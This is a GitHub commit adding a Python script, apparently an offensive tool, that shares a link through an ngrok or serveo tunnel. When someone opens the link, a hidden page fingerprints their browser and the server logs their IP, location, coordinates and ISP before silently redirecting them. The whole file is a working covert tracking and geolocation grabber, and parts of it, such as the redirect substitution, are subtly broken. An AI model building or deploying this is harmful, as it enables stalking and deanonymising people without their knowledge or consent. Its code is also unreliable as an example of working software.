-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
221bb4f
commit aa35a32
Showing
1 changed file
with
294 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,294 @@ | ||
import urllib.request | ||
import json | ||
import os | ||
import sys | ||
import subprocess | ||
import re | ||
import socket | ||
from time import sleep | ||
|
||
current_client_ip="" | ||
|
||
def check_connection(): | ||
try: | ||
urllib.request.urlopen("https://google.com") | ||
return True | ||
except: | ||
return False | ||
|
||
|
||
def start_ngrok_http(port=80): | ||
|
||
try: | ||
ngrok_path = os.path.join(os.getcwd(), "ngrok") | ||
|
||
if not os.path.isfile(ngrok_path): | ||
raise FileNotFoundError("Ngrok executable not found in the current directory.") | ||
|
||
process = subprocess.Popen( | ||
[ngrok_path, "http", str(port)], | ||
stdout=subprocess.DEVNULL, | ||
stderr=subprocess.DEVNULL | ||
) | ||
|
||
sleep(2) | ||
|
||
result = subprocess.run( | ||
["curl", "-s", "http://localhost:4040/api/tunnels"], | ||
capture_output=True, | ||
text=True | ||
) | ||
|
||
if result.returncode != 0: | ||
raise Exception("Failed to fetch tunnel details from ngrok API.") | ||
|
||
tunnels = json.loads(result.stdout) | ||
for tunnel in tunnels.get("tunnels", []): | ||
if tunnel.get("proto") == "https": | ||
return tunnel.get("public_url") | ||
|
||
raise Exception("No HTTPS tunnel found.") | ||
|
||
except Exception as e: | ||
print(f"Error: {e}") | ||
return None | ||
|
||
|
||
def get_ip_info(ip): | ||
url = "https://ipinfo.io/{}/json".format(ip) | ||
response = urllib.request.urlopen(url) | ||
if response.getcode() == 200: | ||
read_data = json.loads(str(response.read(),'utf-8')) | ||
if read_data['city']: | ||
print("city Name ::: {}".format(read_data['city'])) | ||
|
||
if read_data['region']: | ||
print("region Name ::: {}".format(read_data['region'])) | ||
|
||
if read_data['country']: | ||
print("country ::: {}".format(read_data['country'])) | ||
|
||
if read_data['loc']: | ||
location = read_data['loc'] | ||
print("location ::: {}".format(location)) | ||
loc = location.split(",") | ||
print("Google map url ::: https://www.google.com/maps?q=2{},{}".format(loc[0], loc[1])) | ||
|
||
if read_data['org']: | ||
print("org ::: {}".format(read_data['org'])) | ||
|
||
if read_data['postal']: | ||
print("postal ::: {}".format(read_data['postal'])) | ||
|
||
if read_data['timezone']: | ||
print("timezone ::: {}".format(read_data['timezone'])) | ||
|
||
def get_public_url(): | ||
pwd = os.getcwd() | ||
ffile = pwd+"/forward.txt" | ||
file = open(ffile, 'r') | ||
read_data = file.read() | ||
os.remove(ffile) | ||
file.close() | ||
new_data = read_data.replace("Forwarding HTTP traffic from", "") | ||
new_data = new_data.replace("\n","") | ||
new_data = new_data.replace("\r","") | ||
if new_data == "": | ||
print("Please restart.....") | ||
sys.exit() | ||
else: | ||
print("shared Link ::: {}".format(new_data)) | ||
print("\n\n") | ||
|
||
|
||
def create_public_connection(): | ||
print("1\tNgrok\n2\tServeo.net") | ||
try: | ||
choice = int(input("Enter choice[1/2]:")) | ||
except: | ||
print("Please enter 1 or 2 only") | ||
sys.exit() | ||
|
||
if choice == 1: | ||
print("Getting public url....") | ||
port = 4567 | ||
public_url = start_ngrok_http(port) | ||
if public_url: | ||
print(f"Shared URL: {public_url}") | ||
else: | ||
print("Failed to start ngrok or fetch the public URL.") | ||
elif choice == 2: | ||
print("Getting public url....") | ||
pwd = os.getcwd() | ||
file = pwd+"/forward.txt" | ||
command = "ssh -R 80:0.0.0.0:4567 serveo.net -y > {} &".format(file) | ||
subprocess.Popen(command, shell=True) | ||
sleep(8) | ||
get_public_url() | ||
else: | ||
print("Please enter 1 or 2 only") | ||
sys.exit() | ||
|
||
def home_logo(): | ||
print(""" | ||
#### ## ## ### ##### ####### ####### | ||
## ## ## ## ## ## ## ## ## ## ## | ||
## ## ## ## ## ## ## ## ## ## ## | ||
## ######### ## ## ## ## ####### ######## | ||
## ## ## ######### ## ## ## ## ## | ||
## ## ## ## ## ## ## ## ## ## ## | ||
#### ## ## ## ## ##### ####### ####### | ||
IHA089: Navigating the Digital Realm with Code and Security - Where Programming Insights Meet Cyber Vigilance. | ||
""") | ||
|
||
def redirector(): | ||
html_content = """ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<title></title> | ||
</head> | ||
<body> | ||
<script> | ||
function sendDataAndRedirect(data) { | ||
fetch('/send', { | ||
method: 'POST', | ||
body: data, | ||
}) | ||
.then(response => response.text()) | ||
.then(responseData => { | ||
console.log('Server response:', responseData); | ||
window.location.href = 'https://www.google.com'; | ||
}) | ||
.catch(error => { | ||
console.error('Error:', error); | ||
window.location.href = 'https://www.google.com'; | ||
}); | ||
} | ||
var reader=""; | ||
var jn = navigator.javaEnabled() ? 'Yes' : 'No'; | ||
var ci = navigator.connection && navigator.connection.downlink | ||
reader = "Platform Type ::: "+navigator.platform+"|oscpu ::: "+navigator.osCpu+"|Screen Size ::: "+window.screen.width+"x"+window.screen.height+"|ViewPort Size ::: "+window.innerWidth+"x"+window.innerHeight+"|cookies Enable ::: "+navigator.cookiesEnabled+"|Javascript Enable ::: "+jn+"|Internet Speed ::: "+ci+"Mbps"; | ||
sendDataAndRedirect(reader); | ||
</script> | ||
</body> | ||
</html> | ||
""" | ||
return html_content | ||
|
||
def browser_data_filter(data): | ||
data = data.replace("Plt:", "Platform Type ::: ") | ||
data = data.replace("oscpu:", "OsCPU ::: ") | ||
data = data.replace("sw:", "Screen Width ::Location according browser ::: https://www.google.com/maps?q=: ") | ||
data = data.replace("sh:", "Screen Height ::: ") | ||
data = data.replace("vw:", "ViewPort Width ::: ") | ||
data = data.replace("vh:", "ViewPort Height::: ") | ||
data = data.replace("ce:", "cookies Enable ::: ") | ||
data = data.replace("jn:", "Javascript Enable ::: ") | ||
data = data.replace("ci:", "Internet Speed ::: ") | ||
newdata = data.split("|") | ||
for ndata in newdata: | ||
print(ndata) | ||
|
||
print("++++++++++++++++++++++++++++++++++++++++++++++++++\n\n") | ||
|
||
def post_data_reader(client_socket, request): | ||
match = re.match(r'POST /(\w+)', request) | ||
if match: | ||
path = match.group(1) | ||
content_length_match = re.search(r'Content-Length: (\d+)', request) | ||
main_data=str(request) | ||
if content_length_match: | ||
content_length = int(content_length_match.group(1)) | ||
body = client_socket.recv(content_length).decode('utf-8') | ||
client_socket.sendall('HTTP/1.1 200 OK\nContent-Type: application/json\n\n{"status": "success"}'.encode('utf-8')) | ||
browser_data_filter(body) | ||
else: | ||
client_socket.sendall('HTTP/1.1 400 Bad Request\n\nMissing Content-Length header'.encode('utf-8')) | ||
client_socket.sendall('HTTP/1.1 200 OK\nContent-Type: application/json\n\n{"status": "success"}'.encode('utf-8')) | ||
|
||
|
||
def filter_data(http_request): | ||
http_lines = http_request.strip().split('\n') | ||
headers_dict = {} | ||
for line in http_lines[1:]: | ||
key, value = line.split(': ', 1) | ||
headers_dict[key] = value | ||
|
||
try: | ||
user_agent = headers_dict['User-Agent'] | ||
except: | ||
user_agent = "Not Found" | ||
try: | ||
Accept_Language = headers_dict['Accept-Language'] | ||
except: | ||
Accept_Language = "Not Found" | ||
try: | ||
sch = headers_dict['Sec-Ch-Ua'] | ||
except: | ||
sch = "Not Found" | ||
try: | ||
schp = headers_dict['Sec-Ch-Ua-Platform'] | ||
except: | ||
schp = "Not Found" | ||
xff = headers_dict['X-Forwarded-For'] | ||
global current_client_ip | ||
#if xff != current_client_ip: | ||
#current_client_ip = xff | ||
print("User Agent ::: {}".format(user_agent)) | ||
print("Accept Language ::: {}".format(Accept_Language)) | ||
print("Browser version ::: {}".format(sch)) | ||
print("Platform ::: {}".format(schp)) | ||
print("IP Address ::: {}".format(xff)) | ||
get_ip_info(xff) | ||
|
||
|
||
def start_server(redirect_url): | ||
iha089_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
iha089_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | ||
iha089_server.bind(("localhost", 4567)) | ||
create_public_connection() | ||
|
||
iha089_server.listen(1) | ||
try: | ||
while True: | ||
client_socket, client_address = iha089_server.accept() | ||
request = str(client_socket.recv(1024),'utf-8') | ||
send_data = redirector() | ||
send_data = send_data.replace("https://google.com", redirect_url) | ||
match = re.match(r'POST /(\w+)', request) | ||
if match: | ||
post_data_reader(client_socket, request) | ||
else: | ||
http_response = f'HTTP/1.1 200 OK\nContent-Type: text/html\n\n{send_data}' | ||
client_socket.sendall(http_response.encode('utf-8')) | ||
client_socket.close() | ||
request = request.replace("\r\n","\n") | ||
filter_data(request) | ||
|
||
except KeyboardInterrupt: | ||
os.system("killall ssh") | ||
print("Exiting.....") | ||
|
||
def main(): | ||
home_logo() | ||
if not check_connection(): | ||
print("Please check your Internet connection") | ||
sys.exit() | ||
|
||
redirect_url = input("Provide redirect url(Ex: https://google.com) ::: ") | ||
if redirect_url == "": | ||
redirect_url = "https://google.com" | ||
print("Starting local server...") | ||
start_server(redirect_url) | ||
|
||
|
||
if __name__== "__main__": | ||
main() |